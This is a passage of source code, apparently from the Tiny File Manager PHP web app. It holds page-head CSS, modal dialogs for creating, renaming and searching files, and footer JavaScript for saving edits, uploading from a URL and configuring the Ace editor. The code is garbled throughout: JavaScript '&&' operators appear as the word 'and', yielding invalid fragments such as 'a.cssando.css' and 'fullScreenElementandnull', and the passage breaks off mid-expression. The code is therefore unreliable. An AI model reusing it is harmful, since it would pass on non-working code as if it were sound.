<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('pre-cloudflare'); ?>
<?php print_external('css-bootstrap'); ?>
<?php print_external('css-font-awesome'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('css-highlightjs'); ?>
<?php endif; ?>
<script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
<style>
html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
*,*::before,*::after { box-sizing: border-box;}
body { font-size:15px; color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a, a:hover, a:visited, a:focus { text-decoration:none !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
.brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
.brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0; overflow: hidden; }
pre.with-hljs code { margin:0;border:0;overflow:scroll; }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form, .preview-img-container { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
input#preview-img-zoomCheck[type=checkbox] { display:none }
input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { padding:4px 10px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
li.folder:before { content:"\f114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img { max-width: 300px; }
.border-radius-0 { border-radius: 0; }
.float-right { float: right; }
.table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
#main-table tr.even { background-color: #F8F9Fa; }
.filename>a>i {margin-right: 3px;}
</style>
<?php
if (FM_THEME == "dark"): ?>
<style>
:root {
--bs-bg-opacity: 1;
--bg-color: #f3daa6;
--bs-dark-rgb: 28, 36, 41 !important;
--bs-bg-opacity: 1;
}
.table-dark { --bs-table-bg: 28, 36, 41 !important; }
.btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
.theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
.theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
.theme-dark .dropzone { background: transparent; }
.theme-dark .inline-actions > a > i { background: #79755e; }
.theme-dark .text-white { color: #CFD8DC !important; }
.theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
.theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
.message { background-color: #212529; }
.compact-table tr:hover td { background-color: #3d3d3d; }
#main-table tr.even { background-color: #21292f; }
form.dropzone { border-color: #79755e; }
</style>
<?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
<label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
<label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
</div>
<div class="modal-footer">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
</div>
</form>
</div>
</div>
<!-- Advance Search Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group mb-3">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
</ul>
</form>
</div>
</div>
</div>
</div>
<!--Rename Modal -->
<div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
<div class="modal-body p-4 text-center">
<h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
<p class="mb-1">
<input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="rename_from" id="js-rename-from">
</p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
<!-- Confirm Modal -->
<script type="text/html" id="js-tpl-confirm">
<div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
<div class="modal-body p-4 text-center">
<h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
<p class="mb-1"><%this.content%></p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
</script>
<?php
}
function fm_show_footer()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('js-highlightjs'); ?>
<script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
}
function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) {
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState and 200 == n.status and toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
// Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (typeof n !== 'undefined' and n !== null) {
if (true) {
var data = {ajax: true, content: n, type: 'save', token: window.csrf};
$.ajax({
type: "POST",
url: window.location,
data: JSON.stringify(data),
contentType: "application/json; charset=utf-8",
success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
} else {
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textarea");
o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
var c = document.createTextNode(n);
o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
}
}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
// Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
// Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
} else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
}
}); return false;
}
// Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
// Advance search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt and searchTxt.length > 2 and path) {
var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html('');
$loader.addClass('show-me');
},
success: function(data){
$loader.removeClass('show-me');
data = JSON.parse(data);
if(data and data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
},
error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
// action confirm dailog modal
function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
e.preventDefault();
const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
let tpl = $("#js-tpl-confirm").html();
$(".modal.confirmDailog").remove();
$('#wrapper').append(template(tpl,tplObj));
const $confirmDailog = $("#confirmDailog-"+tplObj.id);
$confirmDailog.modal('show');
return false;
}
// on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Events
$(document).ready( function () {
// dataTable init
var $table = $('#main-table'),
tableLng = $table.find('th').length,
_targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
});
// filter table
$('#search-addon').on( 'keyup', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on('keyup', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$('#search-addon3').on( 'click', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
e.preventDefault();let target=$(this).data('target');
$(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
$(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
});
});
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
$ext = $ext == "js" ? "javascript" : $ext;
?>
<?php print_external('js-ace'); ?>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
editor.setShowPrintMargin(false); // Hide the vertical ruler
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
exec: function(editor) { edit_save(this, 'ace'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change();
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", 'button', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue and cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
